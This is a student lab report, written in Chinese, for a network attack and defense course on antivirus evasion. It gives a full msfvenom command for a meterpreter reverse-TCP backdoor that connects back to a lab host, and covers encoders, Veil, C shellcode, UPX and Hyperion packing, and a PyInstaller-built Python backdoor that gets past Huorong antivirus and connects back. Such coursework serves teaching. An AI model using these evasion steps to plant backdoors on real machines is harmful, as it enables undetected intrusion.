20232401 2025-2026-1 《网络与系统攻防技术》实验三实验报告
1.实验内容
- 1.1 了解恶意软件检测机制,学习免杀原理
- 1.2 熟悉msfvenom的使用,使用msfvenom中的编码器并尝试生成多种类型的文件
- 1.3 学习使用veil工具的使用
- 1.4 尝试进行压缩加壳和加密加壳
- 1.5 利用C语言shellcode编程
- 1.6 综合利用各种免杀技术骗过杀软的检测,并在杀软开启的情况下尝试回连
- 1.7 回答以下问题
- (1)杀软是如何检测出恶意代码的?
- 一般而言,杀软是通过两种方式检测出恶意代码的,即“基于特征”和“基于行为”。“基于特征”即检测软件是否具有已知的恶意软件的特征,比如特定的函数、特定的代码结构等,如果软件中包含了恶意软件的特征,就判定其为恶意软件。“基于行为”即检测软件是否做出了一些“越界”的行为,比如是否需要建立不正常的连接,是否需要覆写系统的敏感文件等,一旦软件做出这些“越界行为”,即判定其为恶意软件
- (2)免杀是做什么?
- 免杀就是帮助恶意软件躲避杀软的检测,使杀软无法正常辨别出恶意软件,从而让恶意软件留在系统中发挥作用形成后门
- (3)免杀的基本方法有哪些?
- 免杀的基本方法有改变特征和改变行为,改变特征即进行编码、加壳等操作,使后门软件的特征变得模糊,从而躲避杀软的检测;改变行为即采取更加隐蔽的手段进行后门操作,比如采取反弹的方式进行回连等等
- (1)杀软是如何检测出恶意代码的?
2.实验过程
2.1 免杀效果基准测试
在kali虚拟机中,首先使用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.32.130 LPORT=2401 -f exe > 20232401_backdoor.exe生成可执行后门文件,然后传入主机进行线上检测,过程和结果如下图


可以看到结果为58/72,后续即以此为基准判断免杀效果的好坏
2.2 通过msfvenom使用编码器或生成其他格式文件
-
首先使用msfvenom自带的编码器对后门文件进行编码,使用命令
msfvenom -l encoders可以查看msfvenom所支持的编码格式,如图:
![image]()
-
这里使用适用于windows的编码格式
x86/shikata_ga_nai,如图:
![25dd56fb82ecdceb5b410b84d1537657]()
-
将生成的后门文件传到主机进行检测,可以看到结果与基准相差不大,说明这种免杀方法已经被广泛记录,效果不佳
![20d0442b35459dae00b610d7e9acf276]()
-
单次编码的效果不佳,让我们试试多编码几次,使用参数
-i设置编码次数为10次,可以看到结果没变,说明着这种免杀方法的特征无法用次数来消弭
![f4c5e7bc66d6415f295a837614386440]()
![d94ea80a5fdb20a35499a84a31ea0359]()
-
尝试生成jar文件,分别测试不编码和编码10次的免杀效果,可以看到相比于exe文件,jar文件本身更不易被检测出来,然而编码依然没有影响
![1d229c50f5a85e59bafc8c857e5223e1]()
![248a951879f6e7d60b861e5af26c0a91]()
![3906e60bc1ee35d3f1a69f2e704dc892]()
-
尝试生成php文件,分别测试不编码和编码10次的免杀效果,可以看到php文件本身更加不易被检测出来,且编码后免杀效果有较大改善
![0e1305cf50ac300b9b4ba035fab8802f]()
![c64dff9c466b49dfaff96c319e9bb48e]()
![7c60373698bd83684512d66aeb932d7d]()
2.3 免杀工具veil使用
-
安装完veil后,我们开始使用,可以看到,veil有两个免杀的⼯具,Evasion和Ordnance。 Ordnance可⽣成在Veil-Evasion中使⽤的shellcode,Evasion是⽤做⽂件免杀,因此我们
use 1
![30b0ab69ecc0b7321c6cdb0f0ef07fe6]()
-
输入指令
list,可以看到可以使用的payloads
![544c3a98dfa3a27dfd9d55bf0e427280]()
-
这里我们使用第7个,即C语言框架下的
c/meterpreter/rev_tcp,在设置完回连的IP和端口后,即可generate
![4c064b75e035ec8bd3332ddf8ee319ed]()
-
根据提示找到相应目录下的生成文件,传到主机中
![fb64a4a559a895de08af062543eaf0a1]()
-
可以看到结果为38/72,说明veil工具具备一定的免杀效果
![26b7f9676e9924398e18b5c445e08d89]()
2.4 C语言调用Shellcode
-
使用msfvenom的参数
-f c可以得到C语言格式下的一个shellcode
![579035bf6722a73f7fc31ebd1713f9a9]()
-
将这段shellcode写入C语言程序当中,程序具体内容如下:
![image]()
-
使用编译器
i686-w64-mingw32-g++进行编译,将可执行程序传入主机
![9223226632330099803d4a6dedb60004]()
-
可以看到检测效果如图
![9b02183377649dab79d8eecbb3f635de]()
2.5 加壳
-
通过upx进行压缩加壳,可以看到具有一定免杀效果
![821473f315b18a9aaf03950626f039f6]()
![69d2abe9e08e793f203097af0f2f9e95]()
-
通过hyperion进行加密加壳,可以看到免杀效果不如压缩壳,推测是因为压缩壳通过压缩加壳,能够一定程度上破坏原后门文件特征而压缩壳本身特征难以被把握,相比之下,加密壳特征更加容易被采集
![189b03d87e99b4bd273658c92373ac9c]()
![b6b0ac022937b596d4d8a053084ffb80]()
![2196cd6ababa3be1ef391b8dbc61112d]()
2.6 免杀技术综合应用
-
如图,按照以下流程,依次进行编码、编译、加压缩壳、加加密壳,可以得到一个综合应用了免杀技术的可执行后门程序
![f41ae1616331492ae18a13b3ac6c41b3]()
-
不幸的是,免杀技术的综合应用没能使之骗过杀软,这里用的杀软是火绒
![7ade20bbd2f63324fa8024ccebd24cae]()
-
C语言程序经历了失败,那么其他类型的程序会不会成功呢?下面尝试用python生成一个后门文件
![512346e6674741ed504d7ced92fabc75]()
-
将生成的python文件传到主机中,在windows环境主机下使用命令
pyinstaller -Fw --hidden-import=getpass --hidden-import=code --hidden-import=platform --hidden-import=shlex 20232314end.py,得到windows环境下的可执行文件,-Fw参数代表生成单个可执行文件且不弹出控制台窗口,--hidden-import系列参数依次导入了getpass、code、platform、shlex四个标准库模块
![c88a61c0cb8ce2daafb02a79150922e2]()
-
使用火绒进行杀软检测,成功骗过了火绒
![80d7e709cd0db3bbd53f9165e3b6554f]()
-
在开启火绒的情况下成功回连
![51a40f279cde210c7b21fdc37fe2526b]()
3.问题及解决方案
- 问题1:veil下载失败
- 问题1解决方案:根据提示使用命令
usr/share/veil/config/setup.sh --force --silent进行内存拓展 - 问题2:python后门回连失败
- 问题2解决方案:仔细检查发现msfconsole中payload选取错误,正确payload为
python/meterpreter/reverse_tcp
4.学习感悟、思考等
通过本次实践中对免杀工具的使用,我深刻体会到了后门制作和免杀技术的精妙,然而同时我也在思考,通过我们的实践,就已经能够将检测率降到百分之五十以下以及骗过杀软,那么利用更加前沿的技术我们又是否能够检测出隐藏的后门呢?我认为是比较困难,因为杀毒技术永远都存在滞后性,因此我们要更加注重从源头上进行防范,比如不下载来源不明的软件,不点陌生链接,降低本机被能骗过杀软的后门的侵入
参考资料
- msfvenom 完整使用指南
- 使用veil进行木马生成
- 脱壳入门初级教学(第四课 常见压缩壳与加密壳)































